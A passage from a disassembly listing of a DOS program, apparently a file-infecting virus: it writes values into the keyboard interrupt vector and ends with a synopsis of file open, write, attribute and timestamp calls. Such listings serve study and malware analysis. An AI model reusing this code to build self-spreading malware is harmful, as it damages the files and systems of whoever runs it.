add bx,0A0h
|
|
mov cs:data_54[si],bx ; (6FB8:0105=0CD09h)
|
|
mov word ptr cs:[980h][si],bx ; (6FB8:0980=0E8FBh)
|
|
loc_88: ; xref 6FB8:0C82, 0CC8
|
|
inc si
|
|
inc si
|
|
cmp si,0A0h
|
|
jne loc_82 ; Jump if not equal
|
|
cmp byte ptr cs:[970h],0 ; (6FB8:0970=0Eh)
|
|
je loc_89 ; Jump if equal
|
|
push es
|
|
push di
|
|
push cx
|
|
push ds
|
|
pop es
|
|
push cs
|
|
pop ds
|
|
mov si,offset ds:[0CF5h] ; (6FB8:0CF5=0BEh)
|
|
xor di,di ; Zero register
|
|
mov cx,7D0h
|
|
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
|
mov word ptr cs:[977h],0FFDCh ; (6FB8:0977=0C00Ah)
|
|
and byte ptr cs:[972h],4 ; (6FB8:0972=0BFh)
|
|
or byte ptr cs:[972h],88h ; (6FB8:0972=0BFh)
|
|
mov word ptr cs:[97Eh],0 ; (6FB8:097E=0EDE8h)
|
|
xor ax,ax ; Zero register
|
|
mov ds,ax
|
|
mov ax,word ptr cs:[973h] ; (6FB8:0973=984h)
|
|
mov ds:data_1e,ax ; (0000:0024=45h)
|
|
mov ax,word ptr cs:[975h] ; (6FB8:0975=0AAACh)
|
|
mov ds:data_2e,ax ; (0000:0026=3D1h)
|
|
pop cx
|
|
pop di
|
|
pop es
|
|
loc_89: ; xref 6FB8:0CEC
|
|
pop ds
|
|
pop si
|
|
pop bx
|
|
retn
|
|
sub_19 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;
|
|
; Called from: 6FB8:04D3, 04EC
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_20 proc near
|
|
cld ; Clear direction
|
|
pop ax
|
|
sub ax,si
|
|
add ax,di
|
|
push es
|
|
push ax
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
retf ; Return far
|
|
sub_20 endp
|
|
|
|
db 90h, 50h,0E8h,0E2h, 03h, 8Bh
|
|
|
|
seg_a ends
|
|
|
|
|
|
|
|
end start
|
|
|
|
±±±±±±±±±±±±±±±±±±±± CROSS REFERENCE - KEY ENTRY POINTS ±±±±±±±±±±±±±±±±±±±
|
|
|
|
seg:off type label
|
|
---- ---- ---- ---------------
|
|
6FB8:0100 far start
|
|
|
|
±±±±±±±±±±±±±±±±±± Interrupt Usage Synopsis ±±±±±±±±±±±±±±±±±±
|
|
|
|
Interrupt 21h : set default drive dl (0=a:)
|
|
Interrupt 21h : get default drive al (0=a:)
|
|
Interrupt 21h : set DTA to ds:dx
|
|
Interrupt 21h : get date, cx=year, dx=mon/day
|
|
Interrupt 21h : set current dir, path @ ds:dx
|
|
Interrupt 21h : open file, al=mode,name@ds:dx
|
|
Interrupt 21h : close file, bx=file handle
|
|
Interrupt 21h : read file, cx=bytes, to ds:dx
|
|
Interrupt 21h : write file cx=bytes, to ds:dx
|
|
Interrupt 21h : move file ptr, cx,dx=offset
|
|
Interrupt 21h : get/set file attrb, nam@ds:dx
|
|
Interrupt 21h : get present dir,drive dl,1=a:
|
|
Interrupt 21h : get/set file date & time
|
|
|
|
±±±±±±±±±±±±±±±±±± I/O Port Usage Synopsis ±±±±±±±±±±±±±±±±±±
|
|
|
|
Port 20h : 8259-1 int command
|
|
|